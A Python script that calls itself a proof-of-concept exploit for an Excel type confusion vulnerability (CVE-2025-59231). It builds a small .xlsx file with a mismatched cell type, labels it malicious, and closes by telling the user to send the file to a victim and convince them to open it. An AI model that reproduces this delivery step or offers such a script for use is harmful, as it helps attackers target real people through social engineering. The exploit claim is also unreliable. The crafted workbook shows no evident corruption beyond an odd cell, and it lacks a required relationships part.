The following code is for security research and authorized testing only.
python
# CVE-2025-59231 - Microsoft Office Excel Type Confusion PoC
# This PoC demonstrates the concept of exploiting a type confusion vulnerability in Excel
# Note: Actual exploitation requires a specifically crafted binary Excel file
import struct
import zipfile
import os
import shutil
def create_malicious_excel(output_path):
"""
Create a malicious Excel file that triggers type confusion vulnerability.
The file is a minimal .xlsx (Office Open XML) archive with manipulated
internal structures to cause type confusion during parsing.
"""
# Create temporary directory for Excel contents
temp_dir = "temp_excel"
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
os.makedirs(temp_dir)
# Create minimal Excel file structure
os.makedirs(f"{temp_dir}/_rels")
os.makedirs(f"{temp_dir}/xl")
os.makedirs(f"{temp_dir}/xl/worksheets")
# Content Types XML
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
with open(f"{temp_dir}/[Content_Types].xml", "w") as f:
f.write(content_types)
# Relationships
rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
with open(f"{temp_dir}/_rels/.rels", "w") as f:
f.write(rels)
# Workbook XML with manipulated cell types to trigger type confusion
workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>'''
with open(f"{temp_dir}/xl/workbook.xml", "w") as f:
f.write(workbook)
# Worksheet with type-confused cell data
# The cell type is set to 'e' (error) but contains formula-like data
# This mismatch triggers the type confusion vulnerability
sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="e"><f>SUM(B1:B10)</f><v>#REF!</v></c>
<c r="B1" t="str"><v>AAAA</v></c>
</row>
</sheetData>
</worksheet>'''
with open(f"{temp_dir}/xl/worksheets/sheet1.xml", "w") as f:
f.write(sheet)
# Package into .xlsx file
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(temp_dir):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, temp_dir)
zf.write(file_path, arcname)
# Cleanup
shutil.rmtree(temp_dir)
print(f"Malicious Excel file created: {output_path}")
print("Send this file to victim and convince them to open it with Excel.")
if __name__ == "__main__":
create_malicious_excel("CVE-2025-59231_poc.xlsx")